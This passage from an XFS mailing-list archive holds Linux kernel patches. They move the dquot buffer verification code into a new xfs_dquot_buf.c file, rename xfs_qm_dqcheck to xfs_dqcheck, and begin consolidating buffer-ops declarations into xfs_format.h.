they should be increasing monotonically within the buffer. If the - * first id is corrupt, then it will fail on the second dquot in the - * buffer so corruptions could point to the wrong dquot in this case. - */ - for (i = 0; i < ndquots; i++) { - struct xfs_disk_dquot *ddq; - int error; - - ddq = &d[i].dd_diskdq; - - if (i == 0) - id = be32_to_cpu(ddq->d_id); - - error = xfs_qm_dqcheck(mp, ddq, id + i, 0, XFS_QMOPT_DOWARN, - "xfs_dquot_buf_verify"); - if (error) - return false; - } - return true; -} - -static void -xfs_dquot_buf_read_verify( - struct xfs_buf *bp) -{ - struct xfs_mount *mp = bp->b_target->bt_mount; - - if (!xfs_dquot_buf_verify_crc(mp, bp) || !xfs_dquot_buf_verify(mp, bp)) { - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, bp->b_addr); - xfs_buf_ioerror(bp, EFSCORRUPTED); - } -} - -/* - * we don't calculate the CRC here as that is done when the dquot is flushed to - * the buffer after the update is done. This ensures that the dquot in the - * buffer always has an up-to-date CRC value. - */ -void -xfs_dquot_buf_write_verify( - struct xfs_buf *bp) -{ - struct xfs_mount *mp = bp->b_target->bt_mount; - - if (!xfs_dquot_buf_verify(mp, bp)) { - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, bp->b_addr); - xfs_buf_ioerror(bp, EFSCORRUPTED); - return; - } -} - -const struct xfs_buf_ops xfs_dquot_buf_ops = { - .verify_read = xfs_dquot_buf_read_verify, - .verify_write = xfs_dquot_buf_write_verify, -}; - /* * Allocate a block and fill it with dquots. * This is called when the bmapi finds a hole. @@ -513,6 +401,7 @@ xfs_qm_dqalloc( return (error); } + STATIC int xfs_qm_dqrepair( struct xfs_mount *mp, @@ -546,7 +435,7 @@ xfs_qm_dqrepair( /* Do the actual repair of dquots in this buffer */ for (i = 0; i < mp->m_quotainfo->qi_dqperchunk; i++) { ddq = &d[i].dd_diskdq; - error = xfs_qm_dqcheck(mp, ddq, firstid + i, + error = xfs_dqcheck(mp, ddq, firstid + i, dqp->dq_flags & XFS_DQ_ALLTYPES, XFS_QMOPT_DQREPAIR, "xfs_qm_dqrepair"); if (error) { @@ -1125,7 +1014,7 @@ xfs_qm_dqflush( /* * A simple sanity check in case we got a corrupted dquot.. */ - error = xfs_qm_dqcheck(mp, &dqp->q_core, be32_to_cpu(ddqp->d_id), 0, + error = xfs_dqcheck(mp, &dqp->q_core, be32_to_cpu(ddqp->d_id), 0, XFS_QMOPT_DOWARN, "dqflush (incore copy)"); if (error) { xfs_buf_relse(bp); diff --git a/fs/xfs/xfs_dquot_buf.c b/fs/xfs/xfs_dquot_buf.c new file mode 100644 index 0000000..ad2c18f --- /dev/null +++ b/fs/xfs/xfs_dquot_buf.c @@ -0,0 +1,288 @@ +/* + * Copyright (c) 2000-2006 Silicon Graphics, Inc. + * Copyright (c) 2013 Red Hat, Inc. + * All Rights Reserved. + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License as + * published by the Free Software Foundation. + * + * This program is distributed in the hope that it would be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write the Free Software Foundation, + * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA + */ +#include "xfs.h" +#include "xfs_fs.h" +#include "xfs_format.h" +#include "xfs_bit.h" +#include "xfs_log.h" +#include "xfs_trans.h" +#include "xfs_sb.h" +#include "xfs_ag.h" +#include "xfs_mount.h" +#include "xfs_bmap_btree.h" +#include "xfs_inode.h" +#include "xfs_quota.h" +#include "xfs_qm.h" +#include "xfs_error.h" +#include "xfs_cksum.h" +#include "xfs_trace.h" + +int +xfs_calc_dquots_per_chunk( + struct xfs_mount *mp, + unsigned int nbblks) /* basic block units */ +{ + unsigned int ndquots; + + ASSERT(nbblks > 0); + ndquots = BBTOB(nbblks); + do_div(ndquots, sizeof(xfs_dqblk_t)); + + return ndquots; +} + +/* + * Do some primitive error checking on ondisk dquot data structures. + */ +int +xfs_dqcheck( + struct xfs_mount *mp, + xfs_disk_dquot_t *ddq, + xfs_dqid_t id, + uint type, /* used only when IO_dorepair is true */ + uint flags, + char *str) +{ + xfs_dqblk_t *d = (xfs_dqblk_t *)ddq; + int errs = 0; + + /* + * We can encounter an uninitialized dquot buffer for 2 reasons: + * 1. If we crash while deleting the quotainode(s), and those blks got + * used for user data. This is because we take the path of regular + * file deletion; however, the size field of quotainodes is never + * updated, so all the tricks that we play in itruncate_finish + * don't quite matter. + * + * 2. We don't play the quota buffers when there's a quotaoff logitem. + * But the allocation will be replayed so we'll end up with an + * uninitialized quota block. + * + * This is all fine; things are still consistent, and we haven't lost + * any quota information. Just don't complain about bad dquot blks. + */ + if (ddq->d_magic != cpu_to_be16(XFS_DQUOT_MAGIC)) { + if (flags & XFS_QMOPT_DOWARN) + xfs_alert(mp, + "%s : XFS dquot ID 0x%x, magic 0x%x != 0x%x", + str, id, be16_to_cpu(ddq->d_magic), XFS_DQUOT_MAGIC); + errs++; + } + if (ddq->d_version != XFS_DQUOT_VERSION) { + if (flags & XFS_QMOPT_DOWARN) + xfs_alert(mp, + "%s : XFS dquot ID 0x%x, version 0x%x != 0x%x", + str, id, ddq->d_version, XFS_DQUOT_VERSION); + errs++; + } + + if (ddq->d_flags != XFS_DQ_USER && + ddq->d_flags != XFS_DQ_PROJ && + ddq->d_flags != XFS_DQ_GROUP) { + if (flags & XFS_QMOPT_DOWARN) + xfs_alert(mp, + "%s : XFS dquot ID 0x%x, unknown flags 0x%x", + str, id, ddq->d_flags); + errs++; + } + + if (id != -1 && id != be32_to_cpu(ddq->d_id)) { + if (flags & XFS_QMOPT_DOWARN) + xfs_alert(mp, + "%s : ondisk-dquot 0x%p, ID mismatch: " + "0x%x expected, found id 0x%x", + str, ddq, id, be32_to_cpu(ddq->d_id)); + errs++; + } + + if (!errs && ddq->d_id) { + if (ddq->d_blk_softlimit && + be64_to_cpu(ddq->d_bcount) > + be64_to_cpu(ddq->d_blk_softlimit)) { + if (!ddq->d_btimer) { + if (flags & XFS_QMOPT_DOWARN) + xfs_alert(mp, + "%s : Dquot ID 0x%x (0x%p) BLK TIMER NOT STARTED", + str, (int)be32_to_cpu(ddq->d_id), ddq); + errs++; + } + } + if (ddq->d_ino_softlimit && + be64_to_cpu(ddq->d_icount) > + be64_to_cpu(ddq->d_ino_softlimit)) { + if (!ddq->d_itimer) { + if (flags & XFS_QMOPT_DOWARN) + xfs_alert(mp, + "%s : Dquot ID 0x%x (0x%p) INODE TIMER NOT STARTED", + str, (int)be32_to_cpu(ddq->d_id), ddq); + errs++; + } + } + if (ddq->d_rtb_softlimit && + be64_to_cpu(ddq->d_rtbcount) > + be64_to_cpu(ddq->d_rtb_softlimit)) { + if (!ddq->d_rtbtimer) { + if (flags & XFS_QMOPT_DOWARN) + xfs_alert(mp, + "%s : Dquot ID 0x%x (0x%p) RTBLK TIMER NOT STARTED", + str, (int)be32_to_cpu(ddq->d_id), ddq); + errs++; + } + } + } + + if (!errs || !(flags & XFS_QMOPT_DQREPAIR)) + return errs; + + if (flags & XFS_QMOPT_DOWARN) + xfs_notice(mp, "Re-initializing dquot ID 0x%x", id); + + /* + * Typically, a repair is only requested by quotacheck. + */ + ASSERT(id != -1); + ASSERT(flags & XFS_QMOPT_DQREPAIR); + memset(d, 0, sizeof(xfs_dqblk_t)); + + d->dd_diskdq.d_magic = cpu_to_be16(XFS_DQUOT_MAGIC); + d->dd_diskdq.d_version = XFS_DQUOT_VERSION; + d->dd_diskdq.d_flags = type; + d->dd_diskdq.d_id = cpu_to_be32(id); + + if (xfs_sb_version_hascrc(&mp->m_sb)) { + uuid_copy(&d->dd_uuid, &mp->m_sb.sb_uuid); + xfs_update_cksum((char *)d, sizeof(struct xfs_dqblk), + XFS_DQUOT_CRC_OFF); + } + + return errs; +} + +STATIC bool +xfs_dquot_buf_verify_crc( + struct xfs_mount *mp, + struct xfs_buf *bp) +{ + struct xfs_dqblk *d = (struct xfs_dqblk *)bp->b_addr; + int ndquots; + int i; + + if (!xfs_sb_version_hascrc(&mp->m_sb)) + return true; + + /* + * if we are in log recovery, the quota subsystem has not been + * initialised so we have no quotainfo structure. In that case, we need + * to manually calculate the number of dquots in the buffer. + */ + if (mp->m_quotainfo) + ndquots = mp->m_quotainfo->qi_dqperchunk; + else + ndquots = xfs_calc_dquots_per_chunk(mp, + XFS_BB_TO_FSB(mp, bp->b_length)); + + for (i = 0; i < ndquots; i++, d++) { + if (!xfs_verify_cksum((char *)d, sizeof(struct xfs_dqblk), + XFS_DQUOT_CRC_OFF)) + return false; + if (!uuid_equal(&d->dd_uuid, &mp->m_sb.sb_uuid)) + return false; + } + return true; +} + +STATIC bool +xfs_dquot_buf_verify( + struct xfs_mount *mp, + struct xfs_buf *bp) +{ + struct xfs_dqblk *d = (struct xfs_dqblk *)bp->b_addr; + xfs_dqid_t id = 0; + int ndquots; + int i; + + /* + * if we are in log recovery, the quota subsystem has not been + * initialised so we have no quotainfo structure. In that case, we need + * to manually calculate the number of dquots in the buffer. + */ + if (mp->m_quotainfo) + ndquots = mp->m_quotainfo->qi_dqperchunk; + else + ndquots = xfs_calc_dquots_per_chunk(mp, bp->b_length); + + /* + * On the first read of the buffer, verify that each dquot is valid. + * We don't know what the id of the dquot is supposed to be, just that + * they should be increasing monotonically within the buffer. If the + * first id is corrupt, then it will fail on the second dquot in the + * buffer so corruptions could point to the wrong dquot in this case. + */ + for (i = 0; i < ndquots; i++) { + struct xfs_disk_dquot *ddq; + int error; + + ddq = &d[i].dd_diskdq; + + if (i == 0) + id = be32_to_cpu(ddq->d_id); + + error = xfs_dqcheck(mp, ddq, id + i, 0, XFS_QMOPT_DOWARN, + "xfs_dquot_buf_verify"); + if (error) + return false; + } + return true; +} + +static void +xfs_dquot_buf_read_verify( + struct xfs_buf *bp) +{ + struct xfs_mount *mp = bp->b_target->bt_mount; + + if (!xfs_dquot_buf_verify_crc(mp, bp) || !xfs_dquot_buf_verify(mp, bp)) { + XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, bp->b_addr); + xfs_buf_ioerror(bp, EFSCORRUPTED); + } +} + +/* + * we don't calculate the CRC here as that is done when the dquot is flushed to + * the buffer after the update is done. This ensures that the dquot in the + * buffer always has an up-to-date CRC value. + */ +void +xfs_dquot_buf_write_verify( + struct xfs_buf *bp) +{ + struct xfs_mount *mp = bp->b_target->bt_mount; + + if (!xfs_dquot_buf_verify(mp, bp)) { + XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, bp->b_addr); + xfs_buf_ioerror(bp, EFSCORRUPTED); + return; + } +} + +const struct xfs_buf_ops xfs_dquot_buf_ops = { + .verify_read = xfs_dquot_buf_read_verify, + .verify_write = xfs_dquot_buf_write_verify, +}; + diff --git a/fs/xfs/xfs_log_recover.c b/fs/xfs/xfs_log_recover.c index ff64733..b4b090a 100644 --- a/fs/xfs/xfs_log_recover.c +++ b/fs/xfs/xfs_log_recover.c @@ -2317,7 +2317,7 @@ xlog_recover_do_reg_buffer( item->ri_buf[i].i_len, __func__); goto next; } - error = xfs_qm_dqcheck(mp, item->ri_buf[i].i_addr, + error = xfs_dqcheck(mp, item->ri_buf[i].i_addr, -1, 0, XFS_QMOPT_DOWARN, "dquot_buf_recover"); if (error) @@ -2349,133 +2349,6 @@ xlog_recover_do_reg_buffer( } /* - * Do some primitive error checking on ondisk dquot data structures. - */ -int -xfs_qm_dqcheck( - struct xfs_mount *mp, - xfs_disk_dquot_t *ddq, - xfs_dqid_t id, - uint type, /* used only when IO_dorepair is true */ - uint flags, - char *str) -{ - xfs_dqblk_t *d = (xfs_dqblk_t *)ddq; - int errs = 0; - - /* - * We can encounter an uninitialized dquot buffer for 2 reasons: - * 1. If we crash while deleting the quotainode(s), and those blks got - * used for user data. This is because we take the path of regular - * file deletion; however, the size field of quotainodes is never - * updated, so all the tricks that we play in itruncate_finish - * don't quite matter. - * - * 2. We don't play the quota buffers when there's a quotaoff logitem. - * But the allocation will be replayed so we'll end up with an - * uninitialized quota block. - * - * This is all fine; things are still consistent, and we haven't lost - * any quota information. Just don't complain about bad dquot blks. - */ - if (ddq->d_magic != cpu_to_be16(XFS_DQUOT_MAGIC)) { - if (flags & XFS_QMOPT_DOWARN) - xfs_alert(mp, - "%s : XFS dquot ID 0x%x, magic 0x%x != 0x%x", - str, id, be16_to_cpu(ddq->d_magic), XFS_DQUOT_MAGIC); - errs++; - } - if (ddq->d_version != XFS_DQUOT_VERSION) { - if (flags & XFS_QMOPT_DOWARN) - xfs_alert(mp, - "%s : XFS dquot ID 0x%x, version 0x%x != 0x%x", - str, id, ddq->d_version, XFS_DQUOT_VERSION); - errs++; - } - - if (ddq->d_flags != XFS_DQ_USER && - ddq->d_flags != XFS_DQ_PROJ && - ddq->d_flags != XFS_DQ_GROUP) { - if (flags & XFS_QMOPT_DOWARN) - xfs_alert(mp, - "%s : XFS dquot ID 0x%x, unknown flags 0x%x", - str, id, ddq->d_flags); - errs++; - } - - if (id != -1 && id != be32_to_cpu(ddq->d_id)) { - if (flags & XFS_QMOPT_DOWARN) - xfs_alert(mp, - "%s : ondisk-dquot 0x%p, ID mismatch: " - "0x%x expected, found id 0x%x", - str, ddq, id, be32_to_cpu(ddq->d_id)); - errs++; - } - - if (!errs && ddq->d_id) { - if (ddq->d_blk_softlimit && - be64_to_cpu(ddq->d_bcount) > - be64_to_cpu(ddq->d_blk_softlimit)) { - if (!ddq->d_btimer) { - if (flags & XFS_QMOPT_DOWARN) - xfs_alert(mp, - "%s : Dquot ID 0x%x (0x%p) BLK TIMER NOT STARTED", - str, (int)be32_to_cpu(ddq->d_id), ddq); - errs++; - } - } - if (ddq->d_ino_softlimit && - be64_to_cpu(ddq->d_icount) > - be64_to_cpu(ddq->d_ino_softlimit)) { - if (!ddq->d_itimer) { - if (flags & XFS_QMOPT_DOWARN) - xfs_alert(mp, - "%s : Dquot ID 0x%x (0x%p) INODE TIMER NOT STARTED", - str, (int)be32_to_cpu(ddq->d_id), ddq); - errs++; - } - } - if (ddq->d_rtb_softlimit && - be64_to_cpu(ddq->d_rtbcount) > - be64_to_cpu(ddq->d_rtb_softlimit)) { - if (!ddq->d_rtbtimer) { - if (flags & XFS_QMOPT_DOWARN) - xfs_alert(mp, - "%s : Dquot ID 0x%x (0x%p) RTBLK TIMER NOT STARTED", - str, (int)be32_to_cpu(ddq->d_id), ddq); - errs++; - } - } - } - - if (!errs || !(flags & XFS_QMOPT_DQREPAIR)) - return errs; - - if (flags & XFS_QMOPT_DOWARN) - xfs_notice(mp, "Re-initializing dquot ID 0x%x", id); - - /* - * Typically, a repair is only requested by quotacheck. - */ - ASSERT(id != -1); - ASSERT(flags & XFS_QMOPT_DQREPAIR); - memset(d, 0, sizeof(xfs_dqblk_t)); - - d->dd_diskdq.d_magic = cpu_to_be16(XFS_DQUOT_MAGIC); - d->dd_diskdq.d_version = XFS_DQUOT_VERSION; - d->dd_diskdq.d_flags = type; - d->dd_diskdq.d_id = cpu_to_be32(id); - - if (xfs_sb_version_hascrc(&mp->m_sb)) { - uuid_copy(&d->dd_uuid, &mp->m_sb.sb_uuid); - xfs_update_cksum((char *)d, sizeof(struct xfs_dqblk), - XFS_DQUOT_CRC_OFF); - } - - return errs; -} - -/* * Perform a dquot buffer recovery. * Simple algorithm: if we have found a QUOTAOFF log item of the same type * (ie. USR or GRP), then just toss this buffer away; don't recover it. @@ -3083,7 +2956,7 @@ xlog_recover_dquot_pass2( */ dq_f = item->ri_buf[0].i_addr; ASSERT(dq_f); - error = xfs_qm_dqcheck(mp, recddq, dq_f->qlf_id, 0, XFS_QMOPT_DOWARN, + error = xfs_dqcheck(mp, recddq, dq_f->qlf_id, 0, XFS_QMOPT_DOWARN, "xlog_recover_dquot_pass2 (log copy)"); if (error) return XFS_ERROR(EIO); @@ -3103,7 +2976,7 @@ xlog_recover_dquot_pass2( * was among a chunk of dquots created earlier, and we did some * minimal initialization then. */ - error = xfs_qm_dqcheck(mp, ddq, dq_f->qlf_id, 0, XFS_QMOPT_DOWARN, + error = xfs_dqcheck(mp, ddq, dq_f->qlf_id, 0, XFS_QMOPT_DOWARN, "xlog_recover_dquot_pass2"); if (error) { xfs_buf_relse(bp); diff --git a/fs/xfs/xfs_qm.c b/fs/xfs/xfs_qm.c index 6218a0a..b0b18a1 100644 --- a/fs/xfs/xfs_qm.c +++ b/fs/xfs/xfs_qm.c @@ -666,20 +666,6 @@ xfs_qm_dqdetach( } } -int -xfs_qm_calc_dquots_per_chunk( - struct xfs_mount *mp, - unsigned int nbblks) /* basic block units */ -{ - unsigned int ndquots; - - ASSERT(nbblks > 0); - ndquots = BBTOB(nbblks); - do_div(ndquots, sizeof(xfs_dqblk_t)); - - return ndquots; -} - /* * This initializes all the quota information that's kept in the * mount structure @@ -720,7 +706,7 @@ xfs_qm_init_quotainfo( /* Precalc some constants */ qinf->qi_dqchunklen = XFS_FSB_TO_BB(mp, XFS_DQUOT_CLUSTER_SIZE_FSB); - qinf->qi_dqperchunk = xfs_qm_calc_dquots_per_chunk(mp, + qinf->qi_dqperchunk = xfs_calc_dquots_per_chunk(mp, qinf->qi_dqchunklen); mp->m_qflags |= (mp->m_sb.sb_qflags & XFS_ALL_QUOTA_CHKD); @@ -951,9 +937,9 @@ xfs_qm_reset_dqcounts( /* * Do a sanity check, and if needed, repair the dqblk. Don't * output any warnings because it's perfectly possible to - * find uninitialised dquot blks. See comment in xfs_qm_dqcheck. + * find uninitialised dquot blks. See comment in xfs_dqcheck. */ - (void) xfs_qm_dqcheck(mp, ddq, id+j, type, XFS_QMOPT_DQREPAIR, + (void) xfs_dqcheck(mp, ddq, id+j, type, XFS_QMOPT_DQREPAIR, "xfs_quotacheck"); ddq->d_bcount = 0; ddq->d_icount = 0; diff --git a/fs/xfs/xfs_qm.h b/fs/xfs/xfs_qm.h index 670cd44..ab9485c 100644 --- a/fs/xfs/xfs_qm.h +++ b/fs/xfs/xfs_qm.h @@ -105,7 +105,7 @@ xfs_dq_to_quota_inode(struct xfs_dquot *dqp) return NULL; } -extern int xfs_qm_calc_dquots_per_chunk(struct xfs_mount *mp, +extern int xfs_calc_dquots_per_chunk(struct xfs_mount *mp, unsigned int nbblks); extern void xfs_trans_mod_dquot(struct xfs_trans *, struct xfs_dquot *, uint, long); diff --git a/fs/xfs/xfs_quota.h b/fs/xfs/xfs_quota.h index 84661d4..2ce9cd7 100644 --- a/fs/xfs/xfs_quota.h +++ b/fs/xfs/xfs_quota.h @@ -150,7 +150,7 @@ static inline int xfs_trans_reserve_quota_bydquots(struct xfs_trans *tp, xfs_trans_reserve_quota_bydquots(tp, mp, ud, gd, pd, nb, ni, \ f | XFS_QMOPT_RES_REGBLKS) -extern int xfs_qm_dqcheck(struct xfs_mount *, xfs_disk_dquot_t *, +extern int xfs_dqcheck(struct xfs_mount *, xfs_disk_dquot_t *, xfs_dqid_t, uint, uint, char *); extern int xfs_mount_reset_sbqflags(struct xfs_mount *); -- 1.8.3.2 From dave@fromorbit.com Thu Sep 5 06:53:48 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 10F797F5A for ; Thu, 5 Sep 2013 06:53:48 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id D42D28F8033 for ; Thu, 5 Sep 2013 04:53:47 -0700 (PDT) X-ASG-Debug-ID: 1378382022-04bdf02f21d9c440001-NocioJ Received: from ipmail06.adl2.internode.on.net (ipmail06.adl2.internode.on.net [150.101.137.129]) by cuda.sgi.com with ESMTP id 07uKSpiPZbpEecKc for ; Thu, 05 Sep 2013 04:53:43 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.129 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AngIALlvKFJ5LJ62/2dsb2JhbABbgweuVJUgF3SCJQEFJy8zCEk5AxsZiAG6TpQEA6IkhzeDMio Received: from ppp121-44-158-182.lns20.syd7.internode.on.net (HELO dastard) ([121.44.158.182]) by ipmail06.adl2.internode.on.net with ESMTP; 05 Sep 2013 21:23:40 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1VHY81-0001DB-BD for xfs@oss.sgi.com; Thu, 05 Sep 2013 21:53:37 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1VHY81-0004BG-AH for xfs@oss.sgi.com; Thu, 05 Sep 2013 21:53:37 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 1/3] xfs: move buf_ops externs to a xfs_format.h Date: Thu, 5 Sep 2013 21:53:33 +1000 X-ASG-Orig-Subj: [PATCH 1/3] xfs: move buf_ops externs to a xfs_format.h Message-Id: <1378382015-16026-2-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1378382015-16026-1-git-send-email-david@fromorbit.com> References: <1378382015-16026-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail06.adl2.internode.on.net[150.101.137.129] X-Barracuda-Start-Time: 1378382022 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140362 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- All of the buffer operations structures are needed to be exported for xfs_db, so move them all to a common location rather than spreading them all over the place. They are verifying the on-disk format, so xfs_format.h is as good a place as any. Don't move the dir2 buffer verifiers - they are already shared in a "central" place for all the dir2 and moving them just requires adding more include files... Signed-off-by: Dave Chinner --- fs/xfs/xfs_ag.h | 4 ---- fs/xfs/xfs_alloc.h | 3 --- fs/xfs/xfs_alloc_btree.h | 2 -- fs/xfs/xfs_attr_leaf.h | 2 -- fs/xfs/xfs_attr_remote.h | 2 -- fs/xfs/xfs_bmap_btree.h | 2 -- fs/xfs/xfs_da_btree.c | 1 + fs/xfs/xfs_da_btree.h | 2 -- fs/xfs/xfs_dquot.h | 2 -- fs/xfs/xfs_format.h | 23 +++++++++++++++++++++++ fs/xfs/xfs_fsops.c | 1 + fs/xfs/xfs_ialloc.c | 1 + fs/xfs/xfs_ialloc.h | 2 -- fs/xfs/xfs_ialloc_btree.h | 2 -- fs/xfs/xfs_inode_buf.h | 3 --- fs/xfs/xfs_itable.c | 1 + fs/xfs/xfs_quota.h | 2 -- fs/xfs/xfs_sb.h | 3 --- 18 files changed, 27 insertions(+), 31 deletions(-) diff --git a/fs/xfs/xfs_ag.h b/fs/xfs/xfs_ag.h index 1cb740a..3fc1098 100644 --- a/fs/xfs/xfs_ag.h +++ b/fs/xfs/xfs_ag.h @@ -128,8 +128,6 @@ typedef struct xfs_agf { extern int xfs_read_agf(struct xfs_mount *mp, struct xfs_trans *tp, xfs_agnumber_t agno, int flags, struct xfs_buf **bpp); -extern const struct xfs_buf_ops xfs_agf_buf_ops; - /* * Size of the unlinked inode hash table in the agi. */ @@ -191,8 +189,6 @@ typedef struct xfs_agi { extern int xfs_read_agi(struct xfs_mount *mp, struct xfs_trans *tp, xfs_agnumber_t agno, struct xfs_buf **bpp); -extern const struct xfs_buf_ops xfs_agi_buf_ops; - /* * The third a.g. block contains the a.g. freelist, an array * of block pointers to blocks owned by the allocation btree code. diff --git a/fs/xfs/xfs_alloc.h b/fs/xfs/xfs_alloc.h index 99d0a61..feacb06 100644 --- a/fs/xfs/xfs_alloc.h +++ b/fs/xfs/xfs_alloc.h @@ -231,7 +231,4 @@ xfs_alloc_get_rec( xfs_extlen_t *len, /* output: length of extent */ int *stat); /* output: success/failure */ -extern const struct xfs_buf_ops xfs_agf_buf_ops; -extern const struct xfs_buf_ops xfs_agfl_buf_ops; - #endif /* __XFS_ALLOC_H__ */ diff --git a/fs/xfs/xfs_alloc_btree.h b/fs/xfs/xfs_alloc_btree.h index e3a3f74..72676c3 100644 --- a/fs/xfs/xfs_alloc_btree.h +++ b/fs/xfs/xfs_alloc_btree.h @@ -95,6 +95,4 @@ extern struct xfs_btree_cur *xfs_allocbt_init_cursor(struct xfs_mount *, xfs_agnumber_t, xfs_btnum_t); extern int xfs_allocbt_maxrecs(struct xfs_mount *, int, int); -extern const struct xfs_buf_ops xfs_allocbt_buf_ops; - #endif /* __XFS_ALLOC_BTREE_H__ */ diff --git a/fs/xfs/xfs_attr_leaf.h b/fs/xfs/xfs_attr_leaf.h index c102213..da34e64 100644 --- a/fs/xfs/xfs_attr_leaf.h +++ b/fs/xfs/xfs_attr_leaf.h @@ -336,6 +336,4 @@ void xfs_attr3_leaf_hdr_from_disk(struct xfs_attr3_icleaf_hdr *to, void xfs_attr3_leaf_hdr_to_disk(struct xfs_attr_leafblock *to, struct xfs_attr3_icleaf_hdr *from); -extern const struct xfs_buf_ops xfs_attr3_leaf_buf_ops; - #endif /* __XFS_ATTR_LEAF_H__ */ diff --git a/fs/xfs/xfs_attr_remote.h b/fs/xfs/xfs_attr_remote.h index 92a8fd7..b3e1e1b 100644 --- a/fs/xfs/xfs_attr_remote.h +++ b/fs/xfs/xfs_attr_remote.h @@ -45,8 +45,6 @@ struct xfs_attr3_rmt_hdr { ((bufsize) - (xfs_sb_version_hascrc(&(mp)->m_sb) ? \ sizeof(struct xfs_attr3_rmt_hdr) : 0)) -extern const struct xfs_buf_ops xfs_attr3_rmt_buf_ops; - int xfs_attr3_rmt_blocks(struct xfs_mount *mp, int attrlen); int xfs_attr_rmtval_get(struct xfs_da_args *args); diff --git a/fs/xfs/xfs_bmap_btree.h b/fs/xfs/xfs_bmap_btree.h index e367461..e2b0768 100644 --- a/fs/xfs/xfs_bmap_btree.h +++ b/fs/xfs/xfs_bmap_btree.h @@ -243,6 +243,4 @@ extern int xfs_bmbt_change_owner(struct xfs_trans *tp, struct xfs_inode *ip, extern struct xfs_btree_cur *xfs_bmbt_init_cursor(struct xfs_mount *, struct xfs_trans *, struct xfs_inode *, int); -extern const struct xfs_buf_ops xfs_bmbt_buf_ops; - #endif /* __XFS_BMAP_BTREE_H__ */ diff --git a/fs/xfs/xfs_da_btree.c b/fs/xfs/xfs_da_btree.c index 069537c..459e9d9 100644 --- a/fs/xfs/xfs_da_btree.c +++ b/fs/xfs/xfs_da_btree.c @@ -19,6 +19,7 @@ #include "xfs.h" #include "xfs_fs.h" #include "xfs_types.h" +#include "xfs_format.h" #include "xfs_bit.h" #include "xfs_log.h" #include "xfs_trans.h" diff --git a/fs/xfs/xfs_da_btree.h b/fs/xfs/xfs_da_btree.h index b1f2679..a762cfa 100644 --- a/fs/xfs/xfs_da_btree.h +++ b/fs/xfs/xfs_da_btree.h @@ -309,8 +309,6 @@ int xfs_da3_node_read(struct xfs_trans *tp, struct xfs_inode *dp, xfs_dablk_t bno, xfs_daddr_t mappedbno, struct xfs_buf **bpp, int which_fork); -extern const struct xfs_buf_ops xfs_da3_node_buf_ops; - /* * Utility routines. */ diff --git a/fs/xfs/xfs_dquot.h b/fs/xfs/xfs_dquot.h index 55abbca..d22ed00 100644 --- a/fs/xfs/xfs_dquot.h +++ b/fs/xfs/xfs_dquot.h @@ -172,6 +172,4 @@ static inline struct xfs_dquot *xfs_qm_dqhold(struct xfs_dquot *dqp) return dqp; } -extern const struct xfs_buf_ops xfs_dquot_buf_ops; - #endif /* __XFS_DQUOT_H__ */ diff --git a/fs/xfs/xfs_format.h b/fs/xfs/xfs_format.h index 35c08ff..ead7fc2 100644 --- a/fs/xfs/xfs_format.h +++ b/fs/xfs/xfs_format.h @@ -34,6 +34,29 @@ struct xfs_buf; struct xfs_ifork; /* + * Central location for exporting buffer verifier operations as they are + * widely used, including userspace tools + */ +extern const struct xfs_buf_ops xfs_agf_buf_ops; +extern const struct xfs_buf_ops xfs_agi_buf_ops; +extern const struct xfs_buf_ops xfs_agf_buf_ops; +extern const struct xfs_buf_ops xfs_agfl_buf_ops; +extern const struct xfs_buf_ops xfs_allocbt_buf_ops; +extern const struct xfs_buf_ops xfs_attr3_leaf_buf_ops; +extern const struct xfs_buf_ops xfs_attr3_rmt_buf_ops; +extern const struct xfs_buf_ops xfs_bmbt_buf_ops; +extern const struct xfs_buf_ops xfs_da3_node_buf_ops; +extern const struct xfs_buf_ops xfs_dquot_buf_ops; +extern const struct xfs_buf_ops xfs_symlink_buf_ops; +extern const struct xfs_buf_ops xfs_agi_buf_ops; +extern const struct xfs_buf_ops xfs_inobt_buf_ops; +extern const struct xfs_buf_ops xfs_inode_buf_ops; +extern const struct xfs_buf_ops xfs_inode_buf_ra_ops; +extern const struct xfs_buf_ops xfs_dquot_buf_ops; +extern const struct xfs_buf_ops xfs_sb_buf_ops; +extern const struct xfs_buf_ops xfs_sb_quiet_buf_ops; + +/* * RealTime Device format definitions */ diff --git a/fs/xfs/xfs_fsops.c b/fs/xfs/xfs_fsops.c index e64ee52..f319f5d 100644 --- a/fs/xfs/xfs_fsops.c +++ 